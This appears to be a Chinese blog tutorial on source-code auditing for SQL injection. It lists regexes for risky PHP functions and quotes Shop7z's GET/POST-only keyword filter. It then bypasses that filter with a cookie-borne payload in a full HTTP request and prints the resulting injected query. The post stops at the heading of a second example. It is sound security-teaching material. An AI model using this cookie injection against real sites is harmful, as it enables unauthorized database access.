源代码审计

本文介绍了源代码审计中的SQL注入问题,通过分析多入口模式CMS如Shop7z和单入口模式如乐尚商城CMS,揭示了数据处理中的安全漏洞。审计方法包括追踪用户输入数据和关注特定函数。文中举例说明了如何通过理解参数传递和URL路由规则,定位并利用SQL注入漏洞。
摘要由CSDN通过智能技术生成

后话:本来写了一篇分析在csdn,不小心关掉就没了,无奈,只好copy到博客园,写了一上午,醉了

 

两大审计的基本方法

1. 跟踪用户的输入数据,判断数据进入的每一个代码逻辑是否有可利用的点,此处的代码逻辑可以是一个函数,或者是条小小的条件判断语句。

2. 根据不同编程语言的特性,及其历史上经常产生漏洞的一些函数,功能,把这些点找出来,在分析函数调用时的参数,如果参数是用户可控,就很有可能引发安全漏洞

1、寻找漏洞前准备理解

理解现在的cms大致可分为两种,单入口模式和多入口模式.

  多入口模式cms 每一个功能都需要访问不同的文件。

  单入口模式的cmsMVC的开发出来的

So,挖掘漏洞方式

  1、搜索一些获取用户输入数据的函数,来找到用户输入数据的源头,之后我们从这里为起点,跟踪数据的流向,分析在这整个过程中数据的处理情况,进而定位可能触发漏洞的点。

  2、搜索一些经常产生安全问题的函数,比如执行数据库查询的函数,执行系统命令的函数,文件操作类函数等等,在通过回溯这些函数在被调用时参数,判断参数是否我们可控,进而定位漏洞点。

常用的正则 PHP

\$_SERVER|\$_COOKIE|\$_REQUEST|\$_GET|\$_POST    获取用户输入

eval\(|assert\(|system\(  命令执行

require\(|require_once\(|include\(|include_once\(  文件包含

file_get_contents\(|file\(|fopen\(|highlight_file\(|show_source\(|unlink      文件读取,写入,删除

simplexml_load_string      XXE

unserialize           反序列化漏洞



 

 

ASP ==》 搜索request找输入点,直接跟踪变量==》查看文件头包含include的文件(全局配置文件,全局函数文件,安全过滤文件

.NET

Jsp

 

 

Ex:代码审计多入口模式SQL注入篇shop7z

Shop7_safe.asp 安全过滤函数


<%

Dim Fy_Post,Fy_Get,Fy_In,Fy_Inf,Fy_Xh,Fy_db,Fy_dbstr

'自定义需要过滤的字串,用 "曹" 分隔 ' 防止SQL注入以及XSS跨站攻击 /2016/1/3

Fy_In = "'曹;曹and曹exec曹insert曹select曹delete曹count曹*曹%曹chr曹mid曹master曹truncate曹char曹declare曹<曹>曹script"

'----------------------------------

%>  //为毛不用操。。。

<%

Fy_Inf = split(Fy_In,"曹")

'--------POST部份------------------

If Request.Form<>"" Then

For Each Fy_Post In Request.Form

For Fy_Xh=0 To Ubound(Fy_Inf)

If Instr(LCase(Request.FormFy_Post)),Fy_Inf(Fy_Xh))<>0 Then

(

Response.Write "xxx<Script Language=JavaScript>('请不要对本站尝试进行非法操作谢谢合作^_^ ');history.go(-1);</Script>"

Response.End

End If

Next

Next

End If

'----------------------------------

'--------GET部份-------------------

If Request.QueryString<>"" Then

For Each Fy_Get In Request.QueryString

For Fy_Xh=0 To Ubound(Fy_Inf)

If Instr(LCase(Request.QueryString(Fy_Get)),Fy_Inf(Fy_Xh))<>0 Then

Response.Write "xxx<Script Language=JavaScript>('请不要对本站尝试进行注入操作谢谢合作^_^ ');history.go(-1);</Script>"

Response.End

End If

Next

Next

End If

%>



Request回来的参数只对get和post两种方法针对SQL注入攻击进行过滤。Cookie呢?So?

request.QueryString(获取GET请求的参数) 

  request.form() (获取POST请求的参数) 

  request.cookie() (获取通过cookie传来的参数  request )  

 

关注从 cookie中获取参数的函数

开始

 

漏洞文件:news.asp

searchkey=request("searchkey")

searchkind=request("searchkind")

if searchkey<>"" then

    sql3="select * from e_contect where c_parent2="&request.QueryString("l_id")&" and (c_title like '%"&searchkey&"%' or c_contect like '%"&searchkey&"%') order by c_num desc,c_addtime desc"

else

    sql3="select * from e_contect where c_parent2="&request.QueryString("l_id")&" order by c_num desc,c_addtime desc"

end if

set rs3=server.CreateObject("adodb.recordset")

rs3.open sql3,conn,1,1



 

 

 

文件包含了全局过滤文件,用requset()获取参数,在cookie处提交恶意代码,抓包

GET /news.asp?l_id=1 HTTP/1.1

Host: 127.0.0.1:99

Cache-Control: max-age=0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36 SE 2.X MetaSr 1.0

Accept-Encoding: gzip,deflate,sdch

Accept-Language: zh-CN,zh;q=0.8

Cookie: _ga=GA1.1.1929133354.1465629589; COSPTLCBWXNQVBUKXIOJ=KSBKFPQVGIRJWBOELVYRTMRCNPDSIWYDIWYHQYNQ; searchkey=sss'and#



 

执行语句

 select * from e_contect where c_parent2=1 and (c_title like '%sss'and#%' or c_contect like '%sss'and#%') order by c_num desc,c_addtime desc 

好吧看图

 

理解参数的传递。Ok

 

Ex:代码审计单入口模式乐尚商城cms

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值